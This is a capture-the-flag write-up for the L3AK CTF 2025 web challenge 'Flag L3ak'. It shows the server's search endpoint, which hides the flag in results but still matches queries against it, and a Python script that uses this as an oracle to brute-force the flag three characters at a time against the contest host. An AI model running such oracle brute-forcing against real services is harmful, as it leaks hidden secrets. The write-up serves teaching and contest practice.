L3AK CTF 2025 - WEB
Web
Flag L3ak
Solvers: 698
Author: p._.k
Description
Whatβs the name of this CTF? Yk what to do π
Solution
This is a simple web challenge with search function and we need to figure the logic vulnerability that can leak us the flag.
After checking out the source code provided, there is a post contain flag which is id: 3
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const posts = [
{
id: 1,
title: "Welcome to our blog!",
content: "This is our first post. Welcome everyone!",
author: "admin",
date: "2025-01-15"
},
{
id: 2,
title: "Tech Tips",
content: "Here are some useful technology tips for beginners. Always keep your software updated!",
author: "Some guy out there",
date: "2025-01-20"
},
{
id: 3,
title: "Not the flag?",
content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
author: "admin",
date: "2025-05-13"
},
{
id: 4,
title: "Real flag fr",
content: `Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}`,
author: "L3ak Member",
date: "2025-06-13"
},
{
id: 5,
title: "Did you know?",
content: "This blog post site is pretty dope, right?",
author: "???",
date: "2025-06-20"
},
];
Letβs check /api/search
endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/api/search', (req, res) => {
const { query } = req.body;
if (!query || typeof query !== 'string' || query.length !== 3) {
return res.status(400).json({
error: 'Query must be 3 characters.',
});
}
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
res.json({
results: matchingPosts,
count: matchingPosts.length,
query: query
});
});
So this code will return the post that contains the query in the title, content, or author.
We know the flag format is L3AK{...}
. Gonna test out first 3 characters of the flag.
The result is 2 posts is match but the content flag from post with id 4
is fake.
So we know the logic when searching is that:
- It will filter posts based on the query which means it will check if there is query in the content or not.
- The flag content is hidden by
*
characters.
β We can leverage this to check the 3 characters that if the post of id 3
appear, we know that these characters are correct.
Now letβs craft a script to bruteforce the flag.
So the script above also implemnt the false positive check because some characters will be matched on in 1 position like position 5, I bruteforce and got both e
and 3
are match so need to consider this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
import requests
import json
import string
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def search_posts(query):
url = "http://34.134.162.213:17000/api/search"
data = {"query": query}
try:
response = requests.post(url, json=data, timeout=2)
if response.status_code == 200:
results = response.json()
return 3 in [post['id'] for post in results['results']]
else:
return False
except Exception as e:
return False
def is_flag_like(current_flag):
if not current_flag.startswith("L3AK{"):
return False
if current_flag.count('{') > 1:
return False
if ' ' in current_flag:
return False
blog_words = ['content', 'there', 'here', 'this', 'that', 'with', 'have', 'from']
for word in blog_words:
if word in current_flag.lower():
return False
if len(current_flag) > 30 and '}' not in current_flag:
return False
return True
def detect_loop(current_flag, history):
if current_flag in history:
return True
if len(current_flag) > 15:
for i in range(4, len(current_flag) // 2):
pattern = current_flag[-i:]
if pattern in current_flag[:-i]:
return True
return False
def animate_character_search(current_flag, chars):
found_chars = []
for char in chars:
if len(current_flag) >= 2:
test_pattern = current_flag[-2:] + char
else:
test_pattern = current_flag + char
if len(test_pattern) == 3:
print(f"\rπ {current_flag} β {test_pattern}", end="", flush=True)
time.sleep(0.005)
if search_posts(test_pattern):
print(f"\rπ {current_flag} β {test_pattern} β")
found_chars.append(char)
if char == '}':
complete_flag = current_flag + char
print(f"π COMPLETE FLAG: {complete_flag}")
return complete_flag, True
time.sleep(0.02)
return found_chars, False
def smart_brute_force(current_flag, history=None, depth=0):
if history is None:
history = set()
if depth > 20:
return None
if not is_flag_like(current_flag):
print(f"β False positive: {current_flag}")
return None
if detect_loop(current_flag, history):
print(f"π Loop detected: {current_flag}")
return None
history.add(current_flag)
print(f"π― Exploring: {current_flag}")
flag_chars = "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*(){}?"
other_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ-+=[]|\\:;\"'<>,.?/~` "
chars = flag_chars + other_chars
result, is_complete = animate_character_search(current_flag, chars)
if is_complete:
return result
found_chars = result
if not found_chars:
print(f"π« Dead end: {current_flag}")
return None
print(f"β
Found characters: {found_chars}")
if len(found_chars) == 1:
char = found_chars[0]
new_flag = current_flag + char
return smart_brute_force(new_flag, history.copy(), depth + 1)
else:
print(f"π Multiple paths found: {found_chars}")
priority_chars = []
other_chars = []
for char in found_chars:
if char in "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*(){}?":
priority_chars.append(char)
else:
other_chars.append(char)
ordered_chars = priority_chars + other_chars
print(f"π Trying in order: {ordered_chars}")
for i, char in enumerate(ordered_chars):
print(f"π Path {i+1}/{len(ordered_chars)}: '{char}'")
new_flag = current_flag + char
new_history = history.copy()
result = smart_brute_force(new_flag, new_history, depth + 1)
if result:
return result
print(f"β Path '{char}' failed")
return None
def main():
start_time = time.time()
try:
result = smart_brute_force(starting_flag)
end_time = time.time()
elapsed = end_time - start_time
if result:
print(f"\nπ SUCCESS in {elapsed:.2f}s!")
print(f"π© FINAL FLAG: {result}")
print(f"\nπ Verification:")
all_good = True
for i in range(len(result) - 2):
part = result[i:i+3]
if search_posts(part):
print(f"β
{part}")
else:
print(f"β {part}")
all_good = False
if all_good:
print("π Flag fully verified!")
else:
print("β οΈ Some parts failed verification")
else:
print(f"\nβ No valid flag found in {elapsed:.2f}s")
except KeyboardInterrupt:
print("\n\nβΉοΈ Stopped by user")
if __name__ == "__main__":
main()
Flag: L3AK{L3ak1ng_th3_Fl4g??}